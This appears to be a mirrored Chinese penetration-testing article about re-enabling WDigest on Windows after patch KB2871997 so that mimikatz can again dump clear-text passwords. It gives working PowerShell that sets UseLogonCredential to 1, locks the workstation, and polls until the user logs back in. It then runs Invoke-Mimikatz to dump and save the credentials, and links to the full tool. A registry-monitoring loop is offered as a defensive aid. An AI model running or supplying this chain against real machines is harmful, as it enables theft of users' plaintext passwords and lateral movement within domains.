域滲透——Dump Clear-Text Password after KB2871997 installed

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/06/15 10:24

0x00 前言


在滲透測試中,滲透測試人員通常會使用mimikatz從LSA的記憶體中匯出系統的明文口令,而有經驗的管理員往往會選擇安裝補丁kb2871997來限制這種行為。這其中涉及到哪些有趣的細節呢?本文將會一一介紹。

Alt text

圖片來自https://pixabay.com/zh/%E5%AF%86%E7%A0%81-%E5%AE%89%E5%85%A8-%E8%BD%AC%E5%82%A8-%E5%86%85%E5%AD%98-%E4%BA%8C%E8%BF%9B%E5%88%B6-%E9%95%9C%E5%A4%B4-%E6%89%8B-%E6%89%8B%E6%8C%87-%E5%8F%8D%E5%B0%84-704252/

0x01 簡介


KB2871997:

更新KB2871997補丁後,可禁用Wdigest Auth強制系統的記憶體不儲存明文口令,此時mimikatz和wce均無法獲得系統的明文口令。但是其他一些系統服務(如IIS的SSO身份驗證)在執行的過程中需要Wdigest Auth開啟,所以補丁採取了折中的辦法——安裝補丁後可選擇是否禁用Wdigest Auth。當然,如果啟用Wdigest Auth,記憶體中還是會儲存系統的明文口令。

支援系統:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

配置:

1、下載補丁並安裝

下載地址:
https://support.microsoft.com/en-us/kb/2871997

2、配置補丁

下載easy fix並執行,禁用Wdigest Auth

注:
easy fix的操作其實就是改了登錄檔的鍵值,所以這裡我們可以手動操作登錄檔來禁用Wdigest Auth

對應的登錄檔路徑為:

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

名稱為:

UseLogonCredential

型別為:

REG_DWORD

值為:

0

使用批處理的命令為:

#!bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

如圖

Alt text

3、重啟系統

測試無法匯出明文口令

如圖

Alt text

0x02 解決方法


需要將UseLogonCredential的值設為1,然後登出當前使用者,使用者再次登入後使用mimikatz即可匯出明文口令。

Nishang中的Invoke-MimikatzWDigestDowngrade整合了這個功能,地址如下:

https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1

但是在功能上還無法做到一鍵操作,於是我對此做了擴充套件。

0x03 擴充套件思路


操作流程如下:

  • 修改登錄檔
  • 鎖屏等待使用者登入
  • 使用者登入後,立即匯出明文口令

指令碼實現上需要考慮如下問題:

  1. 修改登錄檔
  2. 鎖屏
  3. 進入迴圈,判斷當前系統是否結束鎖屏狀態
  4. 使用者登入後,跳出迴圈等待,立即匯出明文口令並儲存

0x04 擴充套件方法


透過powershell實現

1、修改登錄檔

鍵值設為1:

#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

迴圈判斷登錄檔鍵值是否為0,如果為1,等待10s再次判斷,如果為0,退出迴圈,可用來監控此登錄檔鍵值是否被修改:

#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
    write-host "[+]Flag Normal"
    write-host "[+]Wait 10 Seconds..."
    Start-Sleep -Seconds 10
    $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
    $Flag=$key.UseLogonCredential
    write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"

如圖

Alt text

2、鎖屏

鎖屏操作的快捷鍵為Win+L

cmd下命令為:

rundll32.exe user32.dll,LockWorkStation

powershell程式碼如下:

#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

如圖

Alt text

3、判斷當前系統是否結束鎖屏狀態

最開始的思路為鎖屏會執行某個程式,在結束鎖屏狀態後會退出某個程式或是在結束鎖屏狀態後會啟動某個程式,於是編寫了如下測試程式碼:

判斷程式notepad程式是否存在,如果不存在等待10s再次判斷,如果存在,退出迴圈:

#!powershell
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
while($Flag -eq 0)
{
    write-host "[-]No notepad.exe"
    write-host "[+]Wait 10 Seconds..."
    Start-Sleep -Seconds 10
    $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
    $Flag=$id.Id+0
    write-host "[+]Checking tasklist"  
}
write-host "[!]Got notepad.exe!"

但是實際測試效果均不太理想,後來在如下連結找到了解決思路:

http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen

鎖屏狀態下GetForegroundWindow()的函式返回值為NULL,非鎖屏狀態下GetForegroundWindow()的函式返回值為一個非零的值。

對於GetForegroundWindow()的函式用法可在如下連結找到參考:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1

於是在此基礎上實現功能:

迴圈判斷當前是否為鎖屏狀態,如果不是鎖屏狀態,退出迴圈,否則迴圈等待

#!powershell
function local:Get-DelegateType {
  Param (
    [OutputType([Type])]
  [Parameter( Position = 0)]
  [Type[]]
  $Parameters = (New-Object Type[](0)),
    [Parameter( Position = 1 )]
  [Type]
  $ReturnType = [Void]
  )
    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')

    $TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
  Param (
    [OutputType([IntPtr])]
  [Parameter( Position = 0, Mandatory = $True )]
  [String]
  $Module,
    [Parameter( Position = 1, Mandatory = $True )]
  [String]
  $Procedure
    )
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
  $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
    $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()


write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
  write-host "[+]LockScreen"
  write-host "[+]Wait 10 Seconds..."
  Start-Sleep -Seconds 10
  $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
  $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
  $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
  $hWindow = $GetForegroundWindow.Invoke()
  write-host "[+]Checking Flag"

}
write-host "[!]Got Screen!"

為方便演示,上面的指令碼新增了等待10s後再判斷的功能,如圖

Alt text

4、使用者登入後,跳出迴圈等待,立即匯出明文口令並儲存

匯出口令的功能參考如下程式碼

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

透過powershell載入mimikatz匯出明文口令,新增了儲存、判斷、迴圈等細節,整合文中的功能,完整的程式碼已上傳至github,地址為:

https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed

完整演示如圖

Alt text

0x05 小結


本文對載入mimikatz導明文口令的powershell指令碼做了擴充,新增了如下功能:

  • 修改登錄檔鍵值,啟用Wdigest Auth
  • 自動鎖屏,等待使用者重新登入
  • 判斷當前鎖屏狀態,使用者解鎖登入後立即匯出明文口令

同時也透過powershell實現了監控並記錄對登錄檔鍵值的修改,可用作防禦

0x06 補充


https://github.com/l3m0n/pentest_study

見上面的連結,l3m0n對滲透測試的整理很是細心,是個很好的學習資料。另外在其github上hash抓取這一章中的win8+win2012明文抓取描述為測試失敗,希望本文對你(@l3m0n)有用

更多學習資料:

https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章